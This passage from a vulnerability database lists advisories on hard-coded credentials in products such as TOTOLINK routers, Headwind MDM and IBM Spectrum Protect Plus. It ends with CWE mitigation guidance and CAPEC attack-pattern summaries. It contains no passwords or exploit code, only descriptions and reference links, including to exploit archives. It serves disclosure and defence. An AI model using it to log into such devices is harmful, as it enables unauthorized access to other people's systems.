"nvd_published_at": "2026-01-08T00:15:59Z",
"severity": "CRITICAL"
},
"details": "INIM Electronics Smartliving SmartLAN/G/SI \u003c=6.x contains hard-coded credentials in its Linux distribution image that cannot be changed through normal device operations. Attackers can exploit these persistent credentials to log in and gain unauthorized system access across multiple SmartLiving device models.",
"id": "GHSA-f3p3-f3c5-vgr3",
"modified": "2026-01-08T00:31:15Z",
"published": "2026-01-08T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25291"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/172838"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/155618"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47763"
},
{
"type": "WEB",
"url": "https://www.inim.biz"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F42P-CWQ9-Q48R
Vulnerability from github – Published: 2022-08-29 20:06 – Updated: 2022-09-02 00:01TOTOLINK A810R V4.1.2cu.5182_B20201026 and V5.9c.4050_B20190424 was discovered to contain a hardcoded password for root at /etc/shadow.sample.
{
"affected": [],
"aliases": [
"CVE-2022-36616"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-29T00:15:00Z",
"severity": "HIGH"
},
"details": "TOTOLINK A810R V4.1.2cu.5182_B20201026 and V5.9c.4050_B20190424 was discovered to contain a hardcoded password for root at /etc/shadow.sample.",
"id": "GHSA-f42p-cwq9-q48r",
"modified": "2022-09-02T00:01:08Z",
"published": "2022-08-29T20:06:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36616"
},
{
"type": "WEB",
"url": "https://github.com/whiter6666/CVE/blob/main/TOTOLINK_A810R/hard_code.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F435-4R8X-QW93
Vulnerability from github – Published: 2023-11-22 18:30 – Updated: 2023-11-30 06:33Headwind MDM Web panel 5.22.1 is vulnerable to Incorrect Access Control due to a hard-coded JWT Secret.
{
"affected": [],
"aliases": [
"CVE-2023-47315"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-22T17:15:22Z",
"severity": "HIGH"
},
"details": "Headwind MDM Web panel 5.22.1 is vulnerable to Incorrect Access Control due to a hard-coded JWT Secret.",
"id": "GHSA-f435-4r8x-qw93",
"modified": "2023-11-30T06:33:23Z",
"published": "2023-11-22T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47315"
},
{
"type": "WEB",
"url": "https://boltonshield.com/en/cve/cve-2023-47315"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F455-QFMP-XGC2
Vulnerability from github – Published: 2023-12-12 03:31 – Updated: 2023-12-14 00:30Hidden and hard-coded credentials in ProLion CryptoSpike 3.0.15P2 allow remote attackers to login to web management as super-admin and consume the most privileged REST API endpoints via these credentials.
{
"affected": [],
"aliases": [
"CVE-2023-36651"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-12T01:15:10Z",
"severity": "HIGH"
},
"details": "Hidden and hard-coded credentials in ProLion CryptoSpike 3.0.15P2 allow remote attackers to login to web management as super-admin and consume the most privileged REST API endpoints via these credentials.",
"id": "GHSA-f455-qfmp-xgc2",
"modified": "2023-12-14T00:30:25Z",
"published": "2023-12-12T03:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36651"
},
{
"type": "WEB",
"url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2023-36651"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F47G-66V9-RJWR
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-06-30 00:00IBM Spectrum Protect Plus 10.1.0 thorugh 10.1.6 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. IBM X-Force ID: 190454.
{
"affected": [],
"aliases": [
"CVE-2020-4854"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-23T17:15:00Z",
"severity": "CRITICAL"
},
"details": "IBM Spectrum Protect Plus 10.1.0 thorugh 10.1.6 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. IBM X-Force ID: 190454.",
"id": "GHSA-f47g-66v9-rjwr",
"modified": "2022-06-30T00:00:29Z",
"published": "2022-05-24T17:34:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4854"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/190454"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6367823"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2020-66"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7].
- In Windows environments, the Encrypted File System (EFS) may provide some protection.
Mitigation
For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.
Mitigation
If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.
Mitigation
- For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.
- Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.
Mitigation
- For front-end to back-end connections: Three solutions are possible, although none are complete.
- The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.
- Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.
- Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.
CAPEC-191: Read Sensitive Constants Within an Executable
An adversary engages in activities to discover any sensitive constants present within the compiled code of an executable. These constants may include literal ASCII strings within the file itself, or possibly strings hard-coded into particular routines that can be revealed by code refactoring methods including static and dynamic analysis.
CAPEC-70: Try Common or Default Usernames and Passwords
An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.